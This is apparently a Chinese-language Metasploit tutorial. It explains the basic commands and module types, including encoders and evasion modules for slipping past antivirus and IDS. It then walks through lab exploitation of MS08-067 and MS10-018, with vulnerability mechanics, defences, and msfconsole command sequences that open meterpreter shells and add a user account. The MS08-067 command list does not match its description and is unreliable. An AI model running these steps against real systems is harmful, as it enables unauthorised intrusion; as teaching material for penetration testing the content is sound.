一.MSF的简介

  MSF全称是The Metasploit Framework,是一个开源的漏洞检测工具,可用于信息收集、漏洞探测、漏洞利用等渗透测试的全流程,本身附带2000多个已知软件漏洞的专业级漏洞攻击工具,被安全社区称为'可以黑掉全宇宙',支持Windows、Linux等系统。在Windows下,默认存放目录为C:\\metasploit-framework\\bin;在Kali下存放目录为/usr/share/metasploit-framework/。

二.MSF基本命令

msfconsole---输入msfconsole启动后就会进入【攻击命令交互界面】

--帮助命令

show--展示模块,比如展示所有模块show all / 展示利用模块 show exploits

search--搜索命令,例如搜索ms08-067模块,执⾏search ms08-067。

use--使用模块,use 0或use exploit/windows/smb/ms08_067_netap

back--从当前环境返回

connect--连接⼀个主机,例如connect www.baidu.com 80

info--显示⼀个或多个模块的信息,例如ms08-067的模块   

info exploit/windows/smb/ms08_067_netapi

jobs--显示和管理作业(和windows任务管理器的进程作⽤⼀样)。

quit&exit-- 退出msf

三.MSF模块讲解

1.Exploits(漏洞利用模块)数量为2496个。主要包含了传说中的exp、0day、各种漏洞利用的脚本。⽤于攻击⽬标系统,这里边包含的exp的路径的命名规则是系统/服务/模块,比如:use exploites/windows(系统)/vnc(服务)/realvnc client(模块名)。
2.Auxiliary(辅助模块)数量为1283个。主要包含渗透测试中一些辅助性的脚本,
⽤于信息收集、⽹络发现、漏洞扫描等
3.Post(后渗透模块)数量为431个。⽤于在成功攻击后,进⼀步控制⽬标系统,如权 限提升、数据窃取等。
4.Payloads(攻击载荷模块)数量为1610个。⽤于在⽬标系统上执⾏代码,如反弹shell、程序 注⼊等。payloads主要是在目标机执行的,而exploits是在本地机执行作用于目标机。命名规则是:系统/类型/名称 比:use payloads/windows/shell/bind_tcp
5.Encoders(编码器模块)数量为49个。Encoder模块用于对攻击载荷进行编码,以绕过目标系统的安全防护机制,如入侵检测系统(1Ds)、入侵防御系统(IPS)等。编码后的载荷在功能上与原始载荷相同,但形式上发生了变化,从而降低被检测到的风险。                                                                  6.Nops(空指令模块)数量为13个。Nop模块主要用于在攻击载荷中填充一些无实际操作的指令,以确保攻击代码的执行流程更加稳定同时也可以用于调整攻击载荷的长度。
7.Evasion(免杀模块)数量为9个。Evasion模块用于绕过目标系统的反病毒软件和其他安全检测机制,使攻击载荷能够在目标系统上顺利执行而不被发现。                                                           
  流程就是先使用辅助模块进行探测,然后使用漏洞利用模块进行攻击,至于攻击后你要在目标机上干什么就需要再使用攻击载荷模块设置在目标机上使用的程序或者命令,然后再使用后渗透模块进行提权等。

四.MSF渗透测试实操

1. 络服务器攻击渗透(MS08-067

       漏洞触发路径:
  • 攻击者通过目标主机开放的445端口(SMB服务默认端口)发送特制的RPC请求,调用Server服务中的NetPathCanonicalize函数
  • 该函数负责对远程访问路径进行规范化处理,但在处理包含相对路径(如..\)的输入时,未正确验证路径字符串边界
      缓冲区溢出关键逻辑:
  • 路径规范化漏洞:NetpwPathCanonicalize函数会将路径字符串中的/转换为\,并尝试移除冗余的相对路径(如..\)。然而在移除操作时,程序未正确检查路径字符串起始位置,导致查找路径前的\字符时越界访问低地址空间
  • 栈溢出实现:攻击者构造的恶意路径会触发缓冲区溢出,覆盖栈中的函数返回地址。例如,当路径以..\开头时,程序错误地将数据复制到栈的低地址区域,覆盖返回地址并跳转至攻击者预设的Shellcode
      漏洞利用条件与影响:
  • 影响系统:Windows 2000、XP、Server 2003等早期版本(未安装2008年10月发布的KB958644补丁)
  • 利用限制
    • Windows XP默认防火墙会阻止外部RPC连接,但若启用文件共享或禁用防火墙则漏洞可被远程利用
    • Windows Vista及更高版本需通过身份验证
  • 实际危害:该漏洞曾被Conficker蠕虫大规模利用,导致数百万台计算机被感染
      防御措施:
  • 补丁修复:安装微软官方补丁KB958644
  • 网络配置:关闭445端口、启用防火墙限制SMB服务的外部访问
  • 流量监控:检测包含恶意路径的SMB流量(如使用正则表达式匹配异常路径模式)

参考:MS08-067漏洞原理及详尽分析过程 - FreeBuf⽹络安全⾏业⻔户https://www.freebuf.com/vuls/203881.html2019-6-1

      命令步骤:
  1. 启动MSF:msfconsole
  2. 设置模块:use exploit/multi/handler
  3. 配置载荷(可选):set payload windows/x64/meterpreter/reverse_tcp
  4. 查看参数:show options   
  5. 设置参数set RHOST 192.168.146.130                                                                         
  6. 运行:run
  7. shell
  8. net user
  9. net user test test /add
  10. net user
  11. net user test /del


2.浏览器攻击渗透(MS10-018)

⽤到的靶机为:WinXPenSP3                                                                                                       

核⼼漏洞来源:

Tabular Data Control ActiveX控件缺陷 

触发组件:IE 6/7/8版本中集成的 Tabular Data ControlTDCActiveX控件,⽤于处 理表格数据加载(如CSV⽂件)。

漏洞触发机制:                                                                                                                                当TDC控件解析超⻓URL参数时,未正确验证输⼊⻓度,导致内存越界写⼊。                             攻击者构造包含恶意编码的URL(例如 data:text/html;base64,... ),利⽤堆内存损坏或释放后重⽤(UAF)漏洞,覆盖关键内存地址,进⽽劫持程序控制流。

内存破坏类型:                                                                                                                             堆溢出(Heap Overflow) :超⻓URL参数超出预分配缓冲区,覆盖相邻内存区域。                     类型混淆(Type Confusion:控件对内存对象类型校验不严,导致攻击者篡改对象指针。

漏洞利⽤链 :

  初始阶段:⽤户访问恶意⽹⻚或点击钓⻥链接,触发IE加载包含恶意TDC脚本的HTML⻚⾯。    内存布局操控:通过JavaScript动态分配内存,精确布置Shellcode地址。                                    控制流劫持:利⽤内存损坏覆盖虚函数表(vtable)或返回地址,跳转⾄攻击者预设的指令

(如 JMP ESP 指令)。
防御与修复措施:
1. 官⽅补丁修复
补丁编号 :微软通过安全公告MS10-018发布修复补丁(KB980182),更新TDC控件的内存
处理逻辑。
补丁验证 :安装后,攻击尝试会因内存保护机制失效⽽⽆法触发Shellcode。
2. 临时缓解⽅案
禁⽤ActiveX控件 :通过IE安全设置禁⽤TDC控件(CLSID: 333C7BC4-460F-11D0-BC04-00
80C7055A83 )。
启⽤DEP/ASLR :在⾼级IE设置中强制启⽤数据执⾏保护和地址空间随机化。
参考:
命令步骤:
1.启动MSF: msfconsole
2.使用模块: use exploit/windows/browser/ms10_018_ie_behaviors
3.设置自己服务器IP: set SRVHOST 192.168.174.129 kali ⾃⼰的 ip
4.设置载荷: set PAYLOAD windows/meterpreter/bind_tcp
5:设置参数本机端口: set LPORT 4441
6.执行渗透攻击模块: exploit -j run -j  ( -j: 将攻击任务放入后台运行)
7.# 等待靶机执⾏
8. jobs
9. sessions
10. sessions -i 1
11. shell

Logo

AtomGit 是由开放原子开源基金会联合 CSDN 等生态伙伴共同推出的新一代开源与人工智能协作平台。平台坚持“开放、中立、公益”的理念,把代码托管、模型共享、数据集托管、智能体开发体验和算力服务整合在一起,为开发者提供从开发、训练到部署的一站式体验。

更多推荐